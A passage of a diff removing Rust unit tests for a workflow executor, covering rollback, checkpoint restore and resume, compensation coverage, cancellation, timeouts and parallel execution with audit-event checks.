- workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("b", "c").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute().await.unwrap(); - - assert!(!result.success); - assert_eq!(result.failed_tasks.len(), 1); - assert_eq!(result.failed_tasks[0], TaskId::new("b")); - - assert!(result.rollback_report.is_some()); - let rollback_report = result.rollback_report.unwrap(); - - assert_eq!(rollback_report.rolled_back_tasks.len(), 1); - assert!(rollback_report - .rolled_back_tasks - .contains(&TaskId::new("a"))); - assert_eq!(rollback_report.skipped_tasks.len(), 1); - assert!(rollback_report.skipped_tasks.contains(&TaskId::new("b"))); - - let events = executor.audit_log().replay(); - assert!(events - .iter() - .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowTaskRolledBack { .. }))); - assert!(events - .iter() - .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowRolledBack { .. }))); -} - -#[tokio::test] -async fn test_rollback_strategy_configurable() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new( - MockTask::new("b", "Task B").with_dep("a").with_failure(), - )); - - workflow.add_dependency("a", "b").unwrap(); - - let mut executor = - WorkflowExecutor::new(workflow).with_rollback_strategy(RollbackStrategy::FailedOnly); - assert_eq!(executor.rollback_strategy(), RollbackStrategy::FailedOnly); - - let result = executor.execute().await.unwrap(); - - assert!(result.rollback_report.is_some()); - assert_eq!( - result - .rollback_report - .as_ref() - .unwrap() - .rolled_back_tasks - .len(), - 0 - ); - assert_eq!( - result.rollback_report.as_ref().unwrap().skipped_tasks.len(), - 1 - ); -} - -#[tokio::test] -async fn test_partial_rollback_diamond_pattern() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); - workflow.add_task(Box::new( - MockTask::new("d", "Task D") - .with_dep("b") - .with_dep("c") - .with_failure(), - )); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("a", "c").unwrap(); - workflow.add_dependency("b", "d").unwrap(); - workflow.add_dependency("c", "d").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute().await.unwrap(); - - assert!(!result.success); - assert_eq!(result.failed_tasks[0], TaskId::new("d")); - - assert!(result.rollback_report.is_some()); - let rollback_report = result.rollback_report.unwrap(); - - assert_eq!(rollback_report.rolled_back_tasks.len(), 3); - assert!(rollback_report - .rolled_back_tasks - .contains(&TaskId::new("a"))); - assert!(rollback_report - .rolled_back_tasks - .contains(&TaskId::new("b"))); - assert!(rollback_report - .rolled_back_tasks - .contains(&TaskId::new("c"))); - assert_eq!(rollback_report.skipped_tasks.len(), 1); - assert!(rollback_report.skipped_tasks.contains(&TaskId::new("d"))); - - assert!(result.completed_tasks.contains(&TaskId::new("a"))); - assert!(result.completed_tasks.contains(&TaskId::new("b"))); - assert!(result.completed_tasks.contains(&TaskId::new("c"))); -} - -#[tokio::test] -async fn test_executor_with_checkpoint_service() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("a", "c").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - let result = executor.execute().await.unwrap(); - - assert!(result.success); - assert_eq!(result.completed_tasks.len(), 3); - assert_eq!(executor.checkpoint_sequence, 3); -} - -#[tokio::test] -async fn test_checkpoint_after_each_task() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - executor.execute().await.unwrap(); - - assert_eq!(executor.checkpoint_sequence, 2); - - let workflow_id = executor.audit_log.tx_id().to_string(); - let latest = checkpoint_service.get_latest(&workflow_id).unwrap(); - assert!(latest.is_some()); - - let checkpoint = latest.unwrap(); - assert_eq!(checkpoint.sequence, 1); - assert_eq!(checkpoint.completed_tasks.len(), 2); -} - -#[tokio::test] -async fn test_checkpoint_service_optional() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - - let result = executor.execute().await.unwrap(); - - assert!(result.success); - assert_eq!(executor.checkpoint_sequence, 0); -} - -#[tokio::test] -async fn test_checkpoint_created_after_task_success() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - let result = executor.execute().await.unwrap(); - - assert!(result.success); - assert_eq!(result.completed_tasks.len(), 2); - assert_eq!(executor.checkpoint_sequence, 2); - - let workflow_id = executor.audit_log.tx_id().to_string(); - let latest = checkpoint_service.get_latest(&workflow_id).unwrap(); - assert!(latest.is_some()); - - let checkpoint = latest.unwrap(); - assert_eq!(checkpoint.sequence, 1); - assert_eq!(checkpoint.completed_tasks.len(), 2); - assert!(checkpoint.completed_tasks.contains(&TaskId::new("a"))); - assert!(checkpoint.completed_tasks.contains(&TaskId::new("b"))); -} - -#[tokio::test] -async fn test_restore_state_from_checkpoint() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("a", "c").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - executor.execute().await.unwrap(); - - let workflow_id = executor.audit_log.tx_id().to_string(); - let checkpoint = checkpoint_service - .get_latest(&workflow_id) - .unwrap() - .unwrap(); - - let mut new_workflow = Workflow::new(); - new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - new_workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); - - new_workflow.add_dependency("a", "b").unwrap(); - new_workflow.add_dependency("a", "c").unwrap(); - - let mut new_executor = WorkflowExecutor::new(new_workflow); - - let result = new_executor.restore_checkpoint_state(&checkpoint); - assert!(result.is_ok()); - - assert_eq!( - new_executor.completed_tasks.len(), - checkpoint.completed_tasks.len() - ); - assert!(new_executor.completed_tasks.contains(&TaskId::new("a"))); - assert!(new_executor.completed_tasks.contains(&TaskId::new("b"))); - assert!(new_executor.completed_tasks.contains(&TaskId::new("c"))); - assert_eq!(new_executor.checkpoint_sequence, checkpoint.sequence + 1); -} - -#[tokio::test] -async fn test_state_restoration_idempotent() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - executor.execute().await.unwrap(); - - let workflow_id = executor.audit_log.tx_id().to_string(); - let checkpoint = checkpoint_service - .get_latest(&workflow_id) - .unwrap() - .unwrap(); - - let mut new_workflow = Workflow::new(); - new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - - new_workflow.add_dependency("a", "b").unwrap(); - - let mut new_executor = WorkflowExecutor::new(new_workflow); - - let result1 = new_executor.restore_checkpoint_state(&checkpoint); - assert!(result1.is_ok()); - let completed_count_after_first = new_executor.completed_tasks.len(); - - let result2 = new_executor.restore_checkpoint_state(&checkpoint); - assert!(result2.is_ok()); - let completed_count_after_second = new_executor.completed_tasks.len(); - - assert_eq!(completed_count_after_first, completed_count_after_second); - assert_eq!( - completed_count_after_first, - checkpoint.completed_tasks.len() - ); -} - -#[tokio::test] -async fn test_restore_checkpoint_state_validates_workflow() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - executor.execute().await.unwrap(); - - let workflow_id = executor.audit_log.tx_id().to_string(); - let checkpoint = checkpoint_service - .get_latest(&workflow_id) - .unwrap() - .unwrap(); - - let mut different_workflow = Workflow::new(); - different_workflow.add_task(Box::new(MockTask::new("x", "Task X"))); - different_workflow.add_task(Box::new(MockTask::new("y", "Task Y"))); - - let mut different_executor = WorkflowExecutor::new(different_workflow); - - let result = different_executor.restore_checkpoint_state(&checkpoint); - assert!(result.is_err()); - - match result { - Err(crate::workflow::WorkflowError::WorkflowChanged(_)) => {} - _ => panic!("Expected WorkflowChanged error"), - } -} - -#[tokio::test] -async fn test_can_resume() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - assert!(!executor.can_resume()); - - let mut workflow2 = Workflow::new(); - workflow2.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow2.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow2.add_dependency("a", "b").unwrap(); - - let mut executor2 = - WorkflowExecutor::new(workflow2).with_checkpoint_service(checkpoint_service.clone()); - executor2.execute().await.unwrap(); - - assert!(executor2.can_resume()); -} - -#[tokio::test] -async fn test_can_resume_returns_false_without_service() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let executor = WorkflowExecutor::new(workflow); - - assert!(!executor.can_resume()); -} - -#[tokio::test] -async fn test_resume_from_checkpoint() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("a", "c").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - executor.execute().await.unwrap(); - - let workflow_id = executor.audit_log.tx_id().to_string(); - let checkpoint = checkpoint_service - .get_latest(&workflow_id) - .unwrap() - .unwrap(); - let checkpoint_id = checkpoint.id; - - let mut new_workflow = Workflow::new(); - new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - new_workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); - - new_workflow.add_dependency("a", "b").unwrap(); - new_workflow.add_dependency("a", "c").unwrap(); - - let mut new_executor = - WorkflowExecutor::new(new_workflow).with_checkpoint_service(checkpoint_service.clone()); - - let result = new_executor.resume_from_checkpoint_id(&checkpoint_id).await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - - assert!(workflow_result.success); - assert_eq!(workflow_result.completed_tasks.len(), 3); -} - -#[tokio::test] -async fn test_resume_skip_completed() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("b", "c").unwrap(); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - let workflow_id = executor.audit_log.tx_id().to_string(); - - executor.completed_tasks.insert(TaskId::new("a")); - let partial_checkpoint = WorkflowCheckpoint::from_executor(&workflow_id, 0, &executor, 0); - checkpoint_service.save(&partial_checkpoint).unwrap(); - - let checkpoint_id = partial_checkpoint.id; - - let mut new_workflow = Workflow::new(); - new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - new_workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); - - new_workflow.add_dependency("a", "b").unwrap(); - new_workflow.add_dependency("b", "c").unwrap(); - - let mut new_executor = - WorkflowExecutor::new(new_workflow).with_checkpoint_service(checkpoint_service.clone()); - - let result = new_executor - .resume_from_checkpoint_id(&checkpoint_id) - .await - .unwrap(); - - assert!(result.success); - assert_eq!(result.completed_tasks.len(), 3); - - assert!(result.completed_tasks.contains(&TaskId::new("a"))); - assert!(result.completed_tasks.contains(&TaskId::new("b"))); - assert!(result.completed_tasks.contains(&TaskId::new("c"))); -} - -#[tokio::test] -async fn test_resume_returns_immediately_if_all_completed() { - use crate::workflow::checkpoint::WorkflowCheckpointService; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - executor.execute().await.unwrap(); - - let workflow_id = executor.audit_log.tx_id().to_string(); - let checkpoint = checkpoint_service - .get_latest(&workflow_id) - .unwrap() - .unwrap(); - let checkpoint_id = checkpoint.id; - - let mut new_workflow = Workflow::new(); - new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - new_workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let mut new_executor = - WorkflowExecutor::new(new_workflow).with_checkpoint_service(checkpoint_service.clone()); - - let result = new_executor - .resume_from_checkpoint_id(&checkpoint_id) - .await - .unwrap(); - - assert!(result.success); - assert_eq!(result.completed_tasks.len(), 2); -} - -#[tokio::test] -async fn test_resume_fails_with_invalid_checkpoint() { - use crate::workflow::checkpoint::{CheckpointId, WorkflowCheckpointService}; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let checkpoint_service = WorkflowCheckpointService::new_default(); - let mut executor = - WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); - - let fake_checkpoint_id = CheckpointId::new(); - let result = executor - .resume_from_checkpoint_id(&fake_checkpoint_id) - .await; - - assert!(result.is_err()); - - match result { - Err(crate::workflow::WorkflowError::CheckpointNotFound(_)) => {} - _ => panic!("Expected CheckpointNotFound error"), - } -} - -#[test] -fn test_executor_register_compensation() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let mut executor = WorkflowExecutor::new(workflow); - - executor.register_compensation( - TaskId::new("a"), - ToolCompensation::skip("Test compensation"), - ); - - assert!(executor - .compensation_registry - .has_compensation(&TaskId::new("a"))); - assert!(!executor - .compensation_registry - .has_compensation(&TaskId::new("b"))); - - let comp = executor.compensation_registry.get(&TaskId::new("a")); - assert!(comp.is_some()); - assert_eq!(comp.unwrap().description, "Test compensation"); -} - -#[test] -fn test_executor_register_file_compensation() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let mut executor = WorkflowExecutor::new(workflow); - - executor.register_file_compensation(TaskId::new("a"), "/tmp/test.txt"); - - assert!(executor - .compensation_registry - .has_compensation(&TaskId::new("a"))); - - let comp = executor.compensation_registry.get(&TaskId::new("a")); - assert!(comp.is_some()); - assert!(comp.unwrap().description.contains("Delete file")); -} - -#[test] -fn test_executor_validate_compensation_coverage() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C"))); - - let mut executor = WorkflowExecutor::new(workflow); - - executor.register_compensation( - TaskId::new("a"), - ToolCompensation::skip("Test compensation"), - ); - - let report = executor.validate_compensation_coverage(); - - assert_eq!(report.tasks_with_compensation.len(), 1); - assert!(report.tasks_with_compensation.contains(&TaskId::new("a"))); - - assert_eq!(report.tasks_without_compensation.len(), 2); - assert!(report - .tasks_without_compensation - .contains(&TaskId::new("b"))); - assert!(report - .tasks_without_compensation - .contains(&TaskId::new("c"))); - - assert!((report.coverage_percentage - 0.333).abs() < 0.01); -} - -#[tokio::test] -async fn test_compensation_registry_integration_with_rollback() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("b", "c").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - - let result = executor.execute().await.unwrap(); - - assert!(result.success); - - assert!(executor - .compensation_registry - .has_compensation(&TaskId::new("a"))); - assert!(executor - .compensation_registry - .has_compensation(&TaskId::new("b"))); - assert!(executor - .compensation_registry - .has_compensation(&TaskId::new("c"))); -} - -#[tokio::test] -async fn test_execute_with_validations() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute_with_validations().await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - assert!(workflow_result.success); -} - -#[tokio::test] -async fn test_validation_config_builder() { - use crate::workflow::checkpoint::ValidationCheckpoint; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let custom_config = ValidationCheckpoint { - min_confidence: 0.5, - warning_threshold: 0.8, - rollback_on_failure: true, - }; - - let executor = WorkflowExecutor::new(workflow).with_validation_config(custom_config); - - assert!(executor.validation_config.is_some()); - let config = executor.validation_config.unwrap(); - assert_eq!(config.min_confidence, 0.5); - assert_eq!(config.warning_threshold, 0.8); - assert!(config.rollback_on_failure); -} - -#[tokio::test] -async fn test_validation_warning_continues() { - use crate::workflow::checkpoint::ValidationCheckpoint; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let config = ValidationCheckpoint { - min_confidence: 0.4, - warning_threshold: 0.9, - rollback_on_failure: false, - }; - - let mut executor = WorkflowExecutor::new(workflow).with_validation_config(config); - - let result = executor.execute().await.unwrap(); - - assert!(result.success); -} - -#[test] -fn test_validate_task_result_method() { - use crate::workflow::checkpoint::ValidationCheckpoint; - use crate::workflow::task::TaskResult; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let config = ValidationCheckpoint::default(); - let executor = WorkflowExecutor::new(workflow).with_validation_config(config); - - let result = TaskResult::Success; - let validation = executor._validate_task_result(&result); - - assert!(validation.is_ok()); - let v = validation.unwrap(); - assert_eq!(v.confidence, 1.0); - assert_eq!( - v.status, - crate::workflow::checkpoint::ValidationStatus::Passed - ); -} - -#[test] -fn test_validate_task_result_no_config() { - use crate::workflow::task::TaskResult; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let executor = WorkflowExecutor::new(workflow); - - let result = TaskResult::Success; - let validation = executor._validate_task_result(&result); - - assert!(validation.is_err()); -} - -#[test] -fn test_executor_without_cancellation_source() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let executor = WorkflowExecutor::new(workflow); - - assert!(executor.cancellation_token().is_none()); - - executor.cancel(); -} - -#[test] -fn test_executor_cancellation_token_access() { - use crate::workflow::cancellation::CancellationTokenSource; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let source = CancellationTokenSource::new(); - let executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); - - assert!(executor.cancellation_token().is_some()); - let token = executor.cancellation_token().unwrap(); - assert!(!token.is_cancelled()); -} - -#[tokio::test] -async fn test_executor_cancel_stops_execution() { - use crate::workflow::cancellation::CancellationTokenSource; - use std::sync::atomic::{AtomicBool, Ordering}; - use std::sync::Arc; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C"))); - - let cancel_flag = Arc::new(AtomicBool::new(false)); - let cancel_flag_clone = cancel_flag.clone(); - - tokio::spawn(async move { - tokio::time::sleep(tokio::time::Duration::from_millis(50)).await; - cancel_flag_clone.store(true, Ordering::SeqCst); - }); - - let source = CancellationTokenSource::new(); - let mut executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); - - executor.cancel(); - - let result = executor.execute().await.unwrap(); - - assert!(!result.success); - assert_eq!(result.completed_tasks.len(), 0); - assert!(result.error.unwrap().contains("cancelled")); -} - -#[tokio::test] -async fn test_cancellation_recorded_in_audit() { - use crate::workflow::cancellation::CancellationTokenSource; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let source = CancellationTokenSource::new(); - let mut executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); - - executor.cancel(); - - executor.execute().await.unwrap(); - - let events = executor.audit_log().replay(); - - assert!(events - .iter() - .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowCancelled { .. }))); -} - -#[test] -fn test_executor_without_timeout_config() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let executor = WorkflowExecutor::new(workflow); - - assert!(executor.timeout_config().is_none()); -} - -#[test] -fn test_executor_with_timeout_config() { - use crate::workflow::timeout::TimeoutConfig; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let config = TimeoutConfig::new(); - let executor = WorkflowExecutor::new(workflow).with_timeout_config(config); - - assert!(executor.timeout_config().is_some()); - let retrieved_config = executor.timeout_config().unwrap(); - assert!(retrieved_config.task_timeout.is_some()); - assert!(retrieved_config.workflow_timeout.is_some()); -} - -#[tokio::test] -async fn test_executor_with_task_timeout() { - use crate::workflow::timeout::{TaskTimeout, TimeoutConfig}; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let config = TimeoutConfig { - task_timeout: Some(TaskTimeout::from_millis(100)), - workflow_timeout: None, - }; - - let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); - - let result = executor.execute().await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - assert!(workflow_result.success); -} - -#[tokio::test] -async fn test_executor_with_workflow_timeout() { - use crate::workflow::timeout::{TimeoutConfig, WorkflowTimeout}; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let config = TimeoutConfig { - task_timeout: None, - workflow_timeout: Some(WorkflowTimeout::from_secs(5)), - }; - - let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); - - let result = executor.execute().await; - - assert!(result.is_ok()); -} - -#[tokio::test] -async fn test_task_timeout_records_audit_event() { - use crate::workflow::timeout::{TaskTimeout, TimeoutConfig}; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let config = TimeoutConfig { - task_timeout: Some(TaskTimeout::from_millis(100)), - workflow_timeout: None, - }; - - let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); - - let result = executor.execute().await; - - assert!(result.is_ok()); - assert!(executor.timeout_config().is_some()); -} - -#[tokio::test] -async fn test_workflow_timeout_records_audit_event() { - use crate::workflow::timeout::{TimeoutConfig, WorkflowTimeout}; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let config = TimeoutConfig { - task_timeout: None, - workflow_timeout: Some(WorkflowTimeout::from_secs(5)), - }; - - let mut executor = WorkflowExecutor::new(workflow).with_timeout_config(config); - - let result = executor.execute_with_timeout().await; - - assert!(result.is_ok()); -} - -#[tokio::test] -async fn test_execute_with_timeout_without_config() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let mut executor = WorkflowExecutor::new(workflow); - - let result = executor.execute_with_timeout().await; - - assert!(result.is_ok()); - assert!(result.unwrap().success); -} - -#[tokio::test] -async fn test_execute_parallel_single_task() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute_parallel().await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - assert!(workflow_result.success); - assert_eq!(workflow_result.completed_tasks.len(), 1); - assert!(workflow_result.completed_tasks.contains(&TaskId::new("a"))); -} - -#[tokio::test] -async fn test_execute_parallel_two_independent_tasks() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute_parallel().await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - assert!(workflow_result.success); - assert_eq!(workflow_result.completed_tasks.len(), 2); - assert!(workflow_result.completed_tasks.contains(&TaskId::new("a"))); - assert!(workflow_result.completed_tasks.contains(&TaskId::new("b"))); -} - -#[tokio::test] -async fn test_execute_parallel_diamond_pattern() { - let mut workflow = Workflow::new(); - - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C"))); - workflow.add_task(Box::new(MockTask::new("d", "Task D"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("a", "c").unwrap(); - workflow.add_dependency("b", "d").unwrap(); - workflow.add_dependency("c", "d").unwrap(); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute_parallel().await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - assert!(workflow_result.success); - assert_eq!(workflow_result.completed_tasks.len(), 4); - - let audit_events = executor.audit_log.replay(); - - let parallel_started_events: Vec<_> = audit_events - .iter() - .filter(|e| { - matches!( - e, - crate::audit::AuditEvent::WorkflowTaskParallelStarted { .. } - ) - }) - .collect(); - - assert_eq!(parallel_started_events.len(), 3); -} - -#[tokio::test] -async fn test_execute_parallel_with_cancellation() { - use crate::workflow::cancellation::CancellationTokenSource; - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let source = CancellationTokenSource::new(); - let mut executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); - - executor.cancel(); - - let result = executor.execute_parallel().await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - assert!(!workflow_result.success); - assert_eq!(workflow_result.completed_tasks.len(), 0); - assert_eq!( - workflow_result.error, - Some("Workflow cancelled".to_string()) - ); -} - -#[tokio::test] -async fn test_execute_parallel_empty_workflow() { - let workflow = Workflow::new(); - let mut executor = WorkflowExecutor::new(workflow); - - let result = executor.execute_parallel().await; - - assert!(result.is_err()); - assert!(matches!( - result, - Err(crate::workflow::WorkflowError::EmptyWorkflow) - )); -} - -#[tokio::test] -async fn test_execute_parallel_audit_events() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute_parallel().await; - - assert!(result.is_ok()); - - let audit_events = executor.audit_log.replay(); - - assert!(audit_events - .iter() - .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowStarted { .. }))); - - let parallel_started: Vec<_> = audit_events - .iter() - .filter(|e| { - matches!( - e, - crate::audit::AuditEvent::WorkflowTaskParallelStarted { .. } - ) - }) - .collect(); - - assert!(!parallel_started.is_empty()); - - let parallel_completed: Vec<_> = audit_events - .iter() - .filter(|e| { - matches!( - e, - crate::audit::AuditEvent::WorkflowTaskParallelCompleted { .. } - ) - }) - .collect(); - - 